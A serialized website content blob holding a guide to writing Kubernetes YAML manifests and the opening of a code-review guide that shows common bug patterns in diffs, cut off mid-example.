lists, dictionaries, anchors, multiline strings, and common pitfalls with clear examples.",{"immutable":363},{"title":232670,"description":234319},"guides\u002Fyaml-syntax-guide","o-i1Gazu1LH8iJuZzNPQiu8nnRB0QtUvGp5sZZOM1Bo",{"id":234325,"title":234326,"body":234327,"date":2070,"description":235292,"extension":361,"meta":235293,"navigation":363,"path":235294,"readingTime":1710,"seo":235295,"stem":235296,"__hash__":235297},"guides\u002Fguides\u002Fyaml-to-kubernetes-manifests.md","Writing Kubernetes Manifests in YAML",{"type":8,"value":234328,"toc":235286},[234329,234332,234336,234339,234402,234436,234443,234447,234450,234896,234899,234922,234926,234929,235207,235212,235214,235224,235237,235254,235270,235276,235283],[16,234330,234331],{},"Kubernetes uses YAML as its primary configuration language for defining resources—deployments, services, config maps, and every other object in the cluster. While the API is well-documented, writing correct manifests requires understanding the structural conventions, required fields, and common patterns that make configs maintainable across environments. This guide covers the practical aspects of authoring Kubernetes YAML that works reliably in production.",[11,234333,234335],{"id":234334},"required-fields-in-every-manifest","Required Fields in Every Manifest",[16,234337,234338],{},"Every Kubernetes resource must include four top-level fields:",[135,234340,234342],{"className":37227,"code":234341,"language":37229,"meta":141,"style":141},"apiVersion: apps\u002Fv1\nkind: Deployment\nmetadata:\n  name: api-server\n  labels:\n    app: api-server\nspec:\n  # Resource-specific configuration\n",[143,234343,234344,234352,234360,234366,234375,234382,234391,234397],{"__ignoreMap":141},[1560,234345,234346,234348,234350],{"class":1562,"line":1563},[1560,234347,232087],{"class":2484},[1560,234349,1663],{"class":1570},[1560,234351,234069],{"class":5634},[1560,234353,234354,234356,234358],{"class":1562,"line":337},[1560,234355,234074],{"class":2484},[1560,234357,1663],{"class":1570},[1560,234359,234079],{"class":5634},[1560,234361,234362,234364],{"class":1562,"line":343},[1560,234363,234084],{"class":2484},[1560,234365,19182],{"class":1570},[1560,234367,234368,234370,234372],{"class":1562,"line":365},[1560,234369,37243],{"class":2484},[1560,234371,1663],{"class":1570},[1560,234373,234374],{"class":5634},"api-server\n",[1560,234376,234377,234380],{"class":1562,"line":889},[1560,234378,234379],{"class":2484},"  labels",[1560,234381,19182],{"class":1570},[1560,234383,234384,234387,234389],{"class":1562,"line":1710},[1560,234385,234386],{"class":2484},"    app",[1560,234388,1663],{"class":1570},[1560,234390,234374],{"class":5634},[1560,234392,234393,234395],{"class":1562,"line":1717},[1560,234394,234099],{"class":2484},[1560,234396,19182],{"class":1570},[1560,234398,234399],{"class":1562,"line":1747},[1560,234400,234401],{"class":1649},"  # Resource-specific configuration\n",[41,234403,234404,234416,234421,234429],{},[44,234405,234406,234408,234409,234411,234412,234415],{},[47,234407,232087],{},": The API group and version. Core resources use ",[143,234410,170712],{},"; most workload resources use ",[143,234413,234414],{},"apps\u002Fv1","; CRDs use their own group paths.",[44,234417,234418,234420],{},[47,234419,234074],{},": The resource type. Must match an API type registered in your cluster.",[44,234422,234423,234425,234426,234428],{},[47,234424,234084],{},": At minimum, a ",[143,234427,82747],{},". Labels and annotations are strongly recommended.",[44,234430,234431,234433,234434,468],{},[47,234432,234099],{},": The desired state. The structure depends entirely on the resource ",[143,234435,234074],{},[16,234437,234438,234439,234442],{},"Omitting any of these fields produces a validation error at apply time. The ",[143,234440,234441],{},"metadata.name"," must be unique within its namespace for most resource types.",[11,234444,234446],{"id":234445},"deployment-manifest-pattern","Deployment Manifest Pattern",[16,234448,234449],{},"The Deployment is the most common workload resource. A production-grade deployment includes replicas, update strategy, resource limits, health checks, and environment configuration:",[135,234451,234453],{"className":37227,"code":234452,"language":37229,"meta":141,"style":141},"apiVersion: apps\u002Fv1\nkind: Deployment\nmetadata:\n  name: api-server\n  labels:\n    app: api-server\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: api-server\n  strategy:\n    type: RollingUpdate\n    rollingUpdate:\n      maxUnavailable: 1\n      maxSurge: 1\n  template:\n    metadata:\n      labels:\n        app: api-server\n    spec:\n      containers:\n        - name: api\n          image: registry.example.com\u002Fapi:v1.2.0\n          ports:\n            - containerPort: 3000\n          resources:\n            requests:\n              cpu: 100m\n              memory: 128Mi\n            limits:\n              cpu: 500m\n              memory: 512Mi\n          livenessProbe:\n            httpGet:\n              path: \u002Fhealthz\n              port: 3000\n            initialDelaySeconds: 10\n            periodSeconds: 15\n          readinessProbe:\n            httpGet:\n              path: \u002Fready\n              port: 3000\n            initialDelaySeconds: 5\n            periodSeconds: 10\n          env:\n            - name: NODE_ENV\n              value: production\n            - name: DATABASE_URL\n              valueFrom:\n                secretKeyRef:\n                  name: api-secrets\n                  key: database-url\n",[143,234454,234455,234463,234471,234477,234485,234491,234499,234505,234513,234519,234525,234533,234540,234550,234557,234566,234575,234581,234587,234593,234601,234607,234613,234623,234632,234638,234648,234655,234662,234672,234682,234689,234698,234707,234714,234721,234732,234742,234752,234763,234771,234778,234788,234797,234806,234815,234823,234835,234846,234858,234866,234874,234885],{"__ignoreMap":141},[1560,234456,234457,234459,234461],{"class":1562,"line":1563},[1560,234458,232087],{"class":2484},[1560,234460,1663],{"class":1570},[1560,234462,234069],{"class":5634},[1560,234464,234465,234467,234469],{"class":1562,"line":337},[1560,234466,234074],{"class":2484},[1560,234468,1663],{"class":1570},[1560,234470,234079],{"class":5634},[1560,234472,234473,234475],{"class":1562,"line":343},[1560,234474,234084],{"class":2484},[1560,234476,19182],{"class":1570},[1560,234478,234479,234481,234483],{"class":1562,"line":365},[1560,234480,37243],{"class":2484},[1560,234482,1663],{"class":1570},[1560,234484,234374],{"class":5634},[1560,234486,234487,234489],{"class":1562,"line":889},[1560,234488,234379],{"class":2484},[1560,234490,19182],{"class":1570},[1560,234492,234493,234495,234497],{"class":1562,"line":1710},[1560,234494,234386],{"class":2484},[1560,234496,1663],{"class":1570},[1560,234498,234374],{"class":5634},[1560,234500,234501,234503],{"class":1562,"line":1717},[1560,234502,234099],{"class":2484},[1560,234504,19182],{"class":1570},[1560,234506,234507,234509,234511],{"class":1562,"line":1747},[1560,234508,234106],{"class":2484},[1560,234510,1663],{"class":1570},[1560,234512,137794],{"class":1576},[1560,234514,234515,234517],{"class":1562,"line":2507},[1560,234516,234115],{"class":2484},[1560,234518,19182],{"class":1570},[1560,234520,234521,234523],{"class":1562,"line":2524},[1560,234522,234122],{"class":2484},[1560,234524,19182],{"class":1570},[1560,234526,234527,234529,234531],{"class":1562,"line":2529},[1560,234528,234129],{"class":2484},[1560,234530,1663],{"class":1570},[1560,234532,234374],{"class":5634},[1560,234534,234535,234538],{"class":1562,"line":2534},[1560,234536,234537],{"class":2484},"  strategy",[1560,234539,19182],{"class":1570},[1560,234541,234542,234545,234547],{"class":1562,"line":2542},[1560,234543,234544],{"class":2484},"    type",[1560,234546,1663],{"class":1570},[1560,234548,234549],{"class":5634},"RollingUpdate\n",[1560,234551,234552,234555],{"class":1562,"line":2558},[1560,234553,234554],{"class":2484},"    rollingUpdate",[1560,234556,19182],{"class":1570},[1560,234558,234559,234562,234564],{"class":1562,"line":2570},[1560,234560,234561],{"class":2484},"      maxUnavailable",[1560,234563,1663],{"class":1570},[1560,234565,8778],{"class":1576},[1560,234567,234568,234571,234573],{"class":1562,"line":6638},[1560,234569,234570],{"class":2484},"      maxSurge",[1560,234572,1663],{"class":1570},[1560,234574,8778],{"class":1576},[1560,234576,234577,234579],{"class":1562,"line":11615},[1560,234578,234138],{"class":2484},[1560,234580,19182],{"class":1570},[1560,234582,234583,234585],{"class":1562,"line":11621},[1560,234584,234145],{"class":2484},[1560,234586,19182],{"class":1570},[1560,234588,234589,234591],{"class":1562,"line":11633},[1560,234590,234152],{"class":2484},[1560,234592,19182],{"class":1570},[1560,234594,234595,234597,234599],{"class":1562,"line":11638},[1560,234596,234159],{"class":2484},[1560,234598,1663],{"class":1570},[1560,234600,234374],{"class":5634},[1560,234602,234603,234605],{"class":1562,"line":11672},[1560,234604,234168],{"class":2484},[1560,234606,19182],{"class":1570},[1560,234608,234609,234611],{"class":1562,"line":19435},[1560,234610,234175],{"class":2484},[1560,234612,19182],{"class":1570},[1560,234614,234615,234617,234619,234621],{"class":1562,"line":19442},[1560,234616,234182],{"class":1570},[1560,234618,82747],{"class":2484},[1560,234620,1663],{"class":1570},[1560,234622,232369],{"class":5634},[1560,234624,234625,234627,234629],{"class":1562,"line":19475},[1560,234626,234193],{"class":2484},[1560,234628,1663],{"class":1570},[1560,234630,234631],{"class":5634},"registry.example.com\u002Fapi:v1.2.0\n",[1560,234633,234634,234636],{"class":1562,"line":19508},[1560,234635,234203],{"class":2484},[1560,234637,19182],{"class":1570},[1560,234639,234640,234642,234644,234646],{"class":1562,"line":44196},[1560,234641,234210],{"class":1570},[1560,234643,234213],{"class":2484},[1560,234645,1663],{"class":1570},[1560,234647,37258],{"class":1576},[1560,234649,234650,234653],{"class":1562,"line":44203},[1560,234651,234652],{"class":2484},"          resources",[1560,234654,19182],{"class":1570},[1560,234656,234657,234660],{"class":1562,"line":44220},[1560,234658,234659],{"class":2484},"            requests",[1560,234661,19182],{"class":1570},[1560,234663,234664,234667,234669],{"class":1562,"line":71501},[1560,234665,234666],{"class":2484},"              cpu",[1560,234668,1663],{"class":1570},[1560,234670,234671],{"class":5634},"100m\n",[1560,234673,234674,234677,234679],{"class":1562,"line":71518},[1560,234675,234676],{"class":2484},"              memory",[1560,234678,1663],{"class":1570},[1560,234680,234681],{"class":5634},"128Mi\n",[1560,234683,234684,234687],{"class":1562,"line":71529},[1560,234685,234686],{"class":2484},"            limits",[1560,234688,19182],{"class":1570},[1560,234690,234691,234693,234695],{"class":1562,"line":176459},[1560,234692,234666],{"class":2484},[1560,234694,1663],{"class":1570},[1560,234696,234697],{"class":5634},"500m\n",[1560,234699,234700,234702,234704],{"class":1562,"line":176464},[1560,234701,234676],{"class":2484},[1560,234703,1663],{"class":1570},[1560,234705,234706],{"class":5634},"512Mi\n",[1560,234708,234709,234712],{"class":1562,"line":176469},[1560,234710,234711],{"class":2484},"          livenessProbe",[1560,234713,19182],{"class":1570},[1560,234715,234716,234719],{"class":1562,"line":176489},[1560,234717,234718],{"class":2484},"            httpGet",[1560,234720,19182],{"class":1570},[1560,234722,234724,234727,234729],{"class":1562,"line":234723},36,[1560,234725,234726],{"class":2484},"              path",[1560,234728,1663],{"class":1570},[1560,234730,234731],{"class":5634},"\u002Fhealthz\n",[1560,234733,234735,234738,234740],{"class":1562,"line":234734},37,[1560,234736,234737],{"class":2484},"              port",[1560,234739,1663],{"class":1570},[1560,234741,37258],{"class":1576},[1560,234743,234745,234748,234750],{"class":1562,"line":234744},38,[1560,234746,234747],{"class":2484},"            initialDelaySeconds",[1560,234749,1663],{"class":1570},[1560,234751,90870],{"class":1576},[1560,234753,234755,234758,234760],{"class":1562,"line":234754},39,[1560,234756,234757],{"class":2484},"            periodSeconds",[1560,234759,1663],{"class":1570},[1560,234761,234762],{"class":1576},"15\n",[1560,234764,234766,234769],{"class":1562,"line":234765},40,[1560,234767,234768],{"class":2484},"          readinessProbe",[1560,234770,19182],{"class":1570},[1560,234772,234774,234776],{"class":1562,"line":234773},41,[1560,234775,234718],{"class":2484},[1560,234777,19182],{"class":1570},[1560,234779,234781,234783,234785],{"class":1562,"line":234780},42,[1560,234782,234726],{"class":2484},[1560,234784,1663],{"class":1570},[1560,234786,234787],{"class":5634},"\u002Fready\n",[1560,234789,234791,234793,234795],{"class":1562,"line":234790},43,[1560,234792,234737],{"class":2484},[1560,234794,1663],{"class":1570},[1560,234796,37258],{"class":1576},[1560,234798,234800,234802,234804],{"class":1562,"line":234799},44,[1560,234801,234747],{"class":2484},[1560,234803,1663],{"class":1570},[1560,234805,81861],{"class":1576},[1560,234807,234809,234811,234813],{"class":1562,"line":234808},45,[1560,234810,234757],{"class":2484},[1560,234812,1663],{"class":1570},[1560,234814,90870],{"class":1576},[1560,234816,234818,234821],{"class":1562,"line":234817},46,[1560,234819,234820],{"class":2484},"          env",[1560,234822,19182],{"class":1570},[1560,234824,234826,234828,234830,234832],{"class":1562,"line":234825},47,[1560,234827,234210],{"class":1570},[1560,234829,82747],{"class":2484},[1560,234831,1663],{"class":1570},[1560,234833,234834],{"class":5634},"NODE_ENV\n",[1560,234836,234838,234841,234843],{"class":1562,"line":234837},48,[1560,234839,234840],{"class":2484},"              value",[1560,234842,1663],{"class":1570},[1560,234844,234845],{"class":5634},"production\n",[1560,234847,234849,234851,234853,234855],{"class":1562,"line":234848},49,[1560,234850,234210],{"class":1570},[1560,234852,82747],{"class":2484},[1560,234854,1663],{"class":1570},[1560,234856,234857],{"class":5634},"DATABASE_URL\n",[1560,234859,234861,234864],{"class":1562,"line":234860},50,[1560,234862,234863],{"class":2484},"              valueFrom",[1560,234865,19182],{"class":1570},[1560,234867,234869,234872],{"class":1562,"line":234868},51,[1560,234870,234871],{"class":2484},"                secretKeyRef",[1560,234873,19182],{"class":1570},[1560,234875,234877,234880,234882],{"class":1562,"line":234876},52,[1560,234878,234879],{"class":2484},"                  name",[1560,234881,1663],{"class":1570},[1560,234883,234884],{"class":5634},"api-secrets\n",[1560,234886,234888,234891,234893],{"class":1562,"line":234887},53,[1560,234889,234890],{"class":2484},"                  key",[1560,234892,1663],{"class":1570},[1560,234894,234895],{"class":5634},"database-url\n",[16,234897,234898],{},"Key conventions to follow:",[41,234900,234901,234907,234913],{},[44,234902,234903,234906],{},[47,234904,234905],{},"Always set resource requests and limits."," Without limits, a single pod can consume all node resources. Without requests, the scheduler cannot make informed placement decisions.",[44,234908,234909,234912],{},[47,234910,234911],{},"Always define both liveness and readiness probes."," Liveness detects deadlocked processes; readiness controls traffic routing during startup and deployments.",[44,234914,234915,234921],{},[47,234916,1388,234917,234920],{},[143,234918,234919],{},"valueFrom"," for secrets."," Never hardcode sensitive values directly in the manifest.",[11,234923,234925],{"id":234924},"service-and-ingress-pairing","Service and Ingress Pairing",[16,234927,234928],{},"A Deployment creates pods, but pods are not directly addressable from outside the cluster. You need a Service to provide a stable endpoint and an Ingress to expose it:",[135,234930,234932],{"className":37227,"code":234931,"language":37229,"meta":141,"style":141},"apiVersion: v1\nkind: Service\nmetadata:\n  name: api-server\nspec:\n  selector:\n    app: api-server\n  ports:\n    - port: 80\n      targetPort: 3000\n  type: ClusterIP\n---\napiVersion: networking.k8s.io\u002Fv1\nkind: Ingress\nmetadata:\n  name: api-server\n  annotations:\n    cert-manager.io\u002Fcluster-issuer: letsencrypt-prod\nspec:\n  tls:\n    - hosts:\n        - api.example.com\n      secretName: api-tls\n  rules:\n    - host: api.example.com\n      http:\n        paths:\n          - path: \u002F\n            pathType: Prefix\n            backend:\n              service:\n                name: api-server\n                port:\n                  number: 80\n",[143,234933,234934,234943,234952,234958,234966,234972,234978,234986,234993,235004,235013,235023,235027,235036,235045,235051,235059,235066,235076,235082,235089,235098,235105,235115,235122,235132,235139,235146,235158,235168,235175,235182,235191,235198],{"__ignoreMap":141},[1560,234935,234936,234938,234940],{"class":1562,"line":1563},[1560,234937,232087],{"class":2484},[1560,234939,1663],{"class":1570},[1560,234941,234942],{"class":5634},"v1\n",[1560,234944,234945,234947,234949],{"class":1562,"line":337},[1560,234946,234074],{"class":2484},[1560,234948,1663],{"class":1570},[1560,234950,234951],{"class":5634},"Service\n",[1560,234953,234954,234956],{"class":1562,"line":343},[1560,234955,234084],{"class":2484},[1560,234957,19182],{"class":1570},[1560,234959,234960,234962,234964],{"class":1562,"line":365},[1560,234961,37243],{"class":2484},[1560,234963,1663],{"class":1570},[1560,234965,234374],{"class":5634},[1560,234967,234968,234970],{"class":1562,"line":889},[1560,234969,234099],{"class":2484},[1560,234971,19182],{"class":1570},[1560,234973,234974,234976],{"class":1562,"line":1710},[1560,234975,234115],{"class":2484},[1560,234977,19182],{"class":1570},[1560,234979,234980,234982,234984],{"class":1562,"line":1717},[1560,234981,234386],{"class":2484},[1560,234983,1663],{"class":1570},[1560,234985,234374],{"class":5634},[1560,234987,234988,234991],{"class":1562,"line":1747},[1560,234989,234990],{"class":2484},"  ports",[1560,234992,19182],{"class":1570},[1560,234994,234995,234997,234999,235001],{"class":1562,"line":2507},[1560,234996,232048],{"class":1570},[1560,234998,154809],{"class":2484},[1560,235000,1663],{"class":1570},[1560,235002,235003],{"class":1576},"80\n",[1560,235005,235006,235009,235011],{"class":1562,"line":2524},[1560,235007,235008],{"class":2484},"      targetPort",[1560,235010,1663],{"class":1570},[1560,235012,37258],{"class":1576},[1560,235014,235015,235018,235020],{"class":1562,"line":2529},[1560,235016,235017],{"class":2484},"  type",[1560,235019,1663],{"class":1570},[1560,235021,235022],{"class":5634},"ClusterIP\n",[1560,235024,235025],{"class":1562,"line":2534},[1560,235026,150505],{"class":1566},[1560,235028,235029,235031,235033],{"class":1562,"line":2542},[1560,235030,232087],{"class":2484},[1560,235032,1663],{"class":1570},[1560,235034,235035],{"class":5634},"networking.k8s.io\u002Fv1\n",[1560,235037,235038,235040,235042],{"class":1562,"line":2558},[1560,235039,234074],{"class":2484},[1560,235041,1663],{"class":1570},[1560,235043,235044],{"class":5634},"Ingress\n",[1560,235046,235047,235049],{"class":1562,"line":2570},[1560,235048,234084],{"class":2484},[1560,235050,19182],{"class":1570},[1560,235052,235053,235055,235057],{"class":1562,"line":6638},[1560,235054,37243],{"class":2484},[1560,235056,1663],{"class":1570},[1560,235058,234374],{"class":5634},[1560,235060,235061,235064],{"class":1562,"line":11615},[1560,235062,235063],{"class":2484},"  annotations",[1560,235065,19182],{"class":1570},[1560,235067,235068,235071,235073],{"class":1562,"line":11621},[1560,235069,235070],{"class":2484},"    cert-manager.io\u002Fcluster-issuer",[1560,235072,1663],{"class":1570},[1560,235074,235075],{"class":5634},"letsencrypt-prod\n",[1560,235077,235078,235080],{"class":1562,"line":11633},[1560,235079,234099],{"class":2484},[1560,235081,19182],{"class":1570},[1560,235083,235084,235087],{"class":1562,"line":11638},[1560,235085,235086],{"class":2484},"  tls",[1560,235088,19182],{"class":1570},[1560,235090,235091,235093,235096],{"class":1562,"line":11672},[1560,235092,232048],{"class":1570},[1560,235094,235095],{"class":2484},"hosts",[1560,235097,19182],{"class":1570},[1560,235099,235100,235102],{"class":1562,"line":19435},[1560,235101,234182],{"class":1570},[1560,235103,235104],{"class":5634},"api.example.com\n",[1560,235106,235107,235110,235112],{"class":1562,"line":19442},[1560,235108,235109],{"class":2484},"      secretName",[1560,235111,1663],{"class":1570},[1560,235113,235114],{"class":5634},"api-tls\n",[1560,235116,235117,235120],{"class":1562,"line":19475},[1560,235118,235119],{"class":2484},"  rules",[1560,235121,19182],{"class":1570},[1560,235123,235124,235126,235128,235130],{"class":1562,"line":19508},[1560,235125,232048],{"class":1570},[1560,235127,216438],{"class":2484},[1560,235129,1663],{"class":1570},[1560,235131,235104],{"class":5634},[1560,235133,235134,235137],{"class":1562,"line":44196},[1560,235135,235136],{"class":2484},"      http",[1560,235138,19182],{"class":1570},[1560,235140,235141,235144],{"class":1562,"line":44203},[1560,235142,235143],{"class":2484},"        paths",[1560,235145,19182],{"class":1570},[1560,235147,235148,235151,235153,235155],{"class":1562,"line":44220},[1560,235149,235150],{"class":1570},"          - ",[1560,235152,11226],{"class":2484},[1560,235154,1663],{"class":1570},[1560,235156,235157],{"class":5634},"\u002F\n",[1560,235159,235160,235163,235165],{"class":1562,"line":71501},[1560,235161,235162],{"class":2484},"            pathType",[1560,235164,1663],{"class":1570},[1560,235166,235167],{"class":5634},"Prefix\n",[1560,235169,235170,235173],{"class":1562,"line":71518},[1560,235171,235172],{"class":2484},"            backend",[1560,235174,19182],{"class":1570},[1560,235176,235177,235180],{"class":1562,"line":71529},[1560,235178,235179],{"class":2484},"              service",[1560,235181,19182],{"class":1570},[1560,235183,235184,235187,235189],{"class":1562,"line":176459},[1560,235185,235186],{"class":2484},"                name",[1560,235188,1663],{"class":1570},[1560,235190,234374],{"class":5634},[1560,235192,235193,235196],{"class":1562,"line":176464},[1560,235194,235195],{"class":2484},"                port",[1560,235197,19182],{"class":1570},[1560,235199,235200,235203,235205],{"class":1562,"line":176469},[1560,235201,235202],{"class":2484},"                  number",[1560,235204,1663],{"class":1570},[1560,235206,235003],{"class":1576},[16,235208,421,235209,235211],{},[143,235210,137396],{}," separator lets you define multiple resources in one file—a common convention for resources that are always deployed together.",[11,235213,35318],{"id":35317},[16,235215,235216,235219,235220,235223],{},[47,235217,235218],{},"Pin image tags."," Avoid ",[143,235221,235222],{},":latest"," in production—it makes rollbacks impossible and creates reproducibility issues. Use semantic version tags or SHA digests for maximum certainty.",[16,235225,235226,235229,235230,1459,235232,235234,235235,468],{},[47,235227,235228],{},"Use namespaces logically."," Group resources by environment (",[143,235231,137812],{},[143,235233,137851],{},") or by team. Never put all workloads in ",[143,235236,153180],{},[16,235238,235239,235242,235243,1459,235245,1459,235247,1459,235250,235253],{},[47,235240,235241],{},"Label consistently."," Define a labeling convention (",[143,235244,37236],{},[143,235246,8243],{},[143,235248,235249],{},"team",[143,235251,235252],{},"environment",") and apply it across all resources. Labels are the primary mechanism for selection and filtering.",[16,235255,235256,107250,235259,235262,235263,1856,235266,235269],{},[47,235257,235258],{},"Validate before applying.",[143,235260,235261],{},"kubectl apply --dry-run=client"," or tools like ",[143,235264,235265],{},"kubeval",[143,235267,235268],{},"kubeconform"," to validate manifests against the Kubernetes API schema before pushing to the cluster.",[16,235271,235272,235275],{},[47,235273,235274],{},"Store manifests in Git."," GitOps tools like ArgoCD and Flux watch a Git repository and apply changes automatically. Storing manifests in version control provides audit trails and rollback capability.",[16,235277,235278,235279,235282],{},"For converting between JSON and YAML formats when working with Kubernetes configs, the ",[98,235280,235281],{"href":37769},"JSON-YAML Converter tool"," handles expansion and validation of multi-document files.",[2043,235284,235285],{},"html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":235287},[235288,235289,235290,235291],{"id":234334,"depth":337,"text":234335},{"id":234445,"depth":337,"text":234446},{"id":234924,"depth":337,"text":234925},{"id":35317,"depth":337,"text":35318},"Practical guide to structuring K8s deployment manifests with YAML best practices.",{},"\u002Fguides\u002Fyaml-to-kubernetes-manifests",{"title":234326,"description":235292},"guides\u002Fyaml-to-kubernetes-manifests","Cgs9Eg2EZP3EvNSU3MUvheGGhFXeZV5F5MQ70GtimY8",{"id":235299,"title":235300,"body":235301,"date":235803,"description":235804,"extension":361,"meta":235805,"navigation":363,"path":222654,"readingTime":1710,"seo":235806,"stem":235807,"__hash__":235808},"guides\u002Fguides\u002Fcode-review-diff-tips.md","Code Review Tips: Making the Most of Diff Views",{"type":8,"value":235302,"toc":235785},[235303,235307,235310,235313,235317,235320,235325,235339,235342,235346,235349,235402,235405,235409,235412,235416,235466,235472,235476,235496,235499,235503,235530,235538,235542,235567,235574,235578,235581,235586,235602,235605,235609,235612,235623,235626,235630,235633,235684,235687,235691,235694,235726,235729,235733,235736,235756,235759,235761,235775,235777,235782],[11,235304,235306],{"id":235305},"why-diff-reading-matters","Why Diff Reading Matters",[16,235308,235309],{},"A code review is only as good as the reviewer's ability to read diffs effectively. The average pull request contains dozens of changed lines, and your job is to find the one that introduces a bug — not to re-read the entire file.",[16,235311,235312],{},"Effective diff reading is a skill. It improves with practice, but a few concrete strategies can accelerate the process from day one.",[11,235314,235316],{"id":235315},"read-the-full-diff-before-commenting","Read the Full Diff Before Commenting",[16,235318,235319],{},"Resist the urge to comment on the first change you see. Read the entire diff once to understand the scope and intent. A line that looks wrong in isolation might make sense three hunks later.",[16,235321,235322],{},[47,235323,235324],{},"Steps for a first pass:",[77,235326,235327,235330,235333,235336],{},[44,235328,235329],{},"Skim the file list to understand which areas changed",[44,235331,235332],{},"Read each diff hunk without stopping to comment",[44,235334,235335],{},"Note questions mentally, but keep reading",[44,235337,235338],{},"Start your detailed review on the second pass",[16,235340,235341],{},"This prevents the common trap of leaving a comment that the author already addresses later in the same PR.",[11,235343,235345],{"id":235344},"focus-on-logic-not-style","Focus on Logic, Not Style",[16,235347,235348],{},"Style issues are real, but they are low priority during review. Linters and formatters handle them automatically. Your attention is scarce — spend it on problems that only a human can catch.",[193,235350,235351,235361],{},[196,235352,235353],{},[199,235354,235355,235358],{},[202,235356,235357],{},"Skip These",[202,235359,235360],{},"Focus on These",[211,235362,235363,235370,235378,235386,235394],{},[199,235364,235365,235368],{},[216,235366,235367],{},"Missing semicolons",[216,235369,393],{},[199,235371,235372,235375],{},[216,235373,235374],{},"Line length violations",[216,235376,235377],{},"Null pointer access",[199,235379,235380,235383],{},[216,235381,235382],{},"Brace placement",[216,235384,235385],{},"Race conditions",[199,235387,235388,235391],{},[216,235389,235390],{},"Import ordering",[216,235392,235393],{},"Missing error handling",[199,235395,235396,235399],{},[216,235397,235398],{},"Trailing whitespace",[216,235400,235401],{},"Resource leaks",[16,235403,235404],{},"If your project lacks a linter, add one. It frees reviewers to think about correctness instead of formatting.",[11,235406,235408],{"id":235407},"spot-common-bug-patterns","Spot Common Bug Patterns",[16,235410,235411],{},"Certain categories of bugs appear repeatedly in diffs. Train yourself to scan for them:",[33,235413,235415],{"id":235414},"off-by-one-errors","Off-by-One Errors",[135,235417,235419],{"className":1607,"code":235418,"language":1609,"meta":141,"style":141},"\u002F\u002F Bug: should be i \u003C items.length\nfor (let i = 0; i \u003C= items.length; i++) {\n  process(items[i]);\n}\n",[143,235420,235421,235426,235454,235462],{"__ignoreMap":141},[1560,235422,235423],{"class":1562,"line":1563},[1560,235424,235425],{"class":1649},"\u002F\u002F Bug: should be i \u003C items.length\n",[1560,235427,235428,235430,235432,235434,235436,235438,235440,235442,235444,235446,235448,235450,235452],{"class":1562,"line":337},[1560,235429,7947],{"class":1669},[1560,235431,5181],{"class":1570},[1560,235433,41680],{"class":1669},[1560,235435,7950],{"class":1570},[1560,235437,7297],{"class":1669},[1560,235439,13541],{"class":1576},[1560,235441,82205],{"class":1570},[1560,235443,22757],{"class":1669},[1560,235445,173886],{"class":1570},[1560,235447,9418],{"class":1576},[1560,235449,101559],{"class":1570},[1560,235451,101562],{"class":1669},[1560,235453,9345],{"class":1570},[1560,235455,235456,235459],{"class":1562,"line":343},[1560,235457,235458],{"class":1566},"  process",[1560,235460,235461],{"class":1570},"(items[i]);\n",[1560,235463,235464],{"class":1562,"line":365},[1560,235465,1585],{"class":1570},[16,235467,235468,235469,235471],{},"Look for ",[143,235470,22757],{}," in loop bounds — it is correct sometimes, but it is the single most common source of out-of-bounds access.",[33,235473,235475],{"id":235474},"resource-leaks","Resource Leaks",[135,235477,235479],{"className":8259,"code":235478,"language":8261,"meta":141,"style":141},"f = open(\"data.txt\")\ncontent = f.read()\n# Missing: f.close()\n",[143,235480,235481,235486,235491],{"__ignoreMap":141},[1560,235482,235483],{"class":1562,"line":1563},[1560,235484,235485],{},"f = open(\"data.txt\")\n",[1560,235487,235488],{"class":1562,"line":337},[1560,235489,235490],{},"content = f.read()\n",[1560,235492,235493],{"class":1562,"line":343},[1560,235494,235495],{},"# Missing: f.close()\n",[16,235497,235498],{},"When a diff opens a file, socket, or database connection, check that it closes on every exit path — including error paths.",[33,235500,235502],{"id":235501},"missing-error-handling","Missing Error Handling",[135,235504,235506],{"className":1607,"code":235505,"language":1609,"meta":141,"style":141},"const data = JSON.parse(input);\n\u002F\u002F What if input is invalid JSON?\n",[143,235507,235508,235525],{"__ignoreMap":141},[1560,235509,235510,235512,235514,235516,235518,235520,235522],{"class":1562,"line":1563},[1560,235511,8180],{"class":1669},[1560,235513,229483],{"class":1576},[1560,235515,8186],{"class":1669},[1560,235517,89946],{"class":1576},[1560,235519,468],{"class":1570},[1560,235521,80838],{"class":1566},[1560,235523,235524],{"class":1570},"(input);\n",[1560,235526,235527],{"class":1562,"line":337},[1560,235528,235529],{"class":1649},"\u002F\u002F What if input is invalid JSON?\n",[16,235531,235532,235533,1459,235535,235537],{},"Every ",[143,235534,38273],{},[143,235536,80838],{},", or external call should have a try-catch or equivalent error path. Diffs that add new calls without error handling are a common source of production crashes.",[33,235539,235541],{"id":235540},"silent-failures","Silent Failures",[135,235543,235545],{"className":8259,"code":235544,"language":8261,"meta":141,"style":141},"try:\n    result = risky_operation()\nexcept:\n    pass  # Bug: swallows all errors silently\n",[143,235546,235547,235552,235557,235562],{"__ignoreMap":141},[1560,235548,235549],{"class":1562,"line":1563},[1560,235550,235551],{},"try:\n",[1560,235553,235554],{"class":1562,"line":337},[1560,235555,235556],{},"    result = 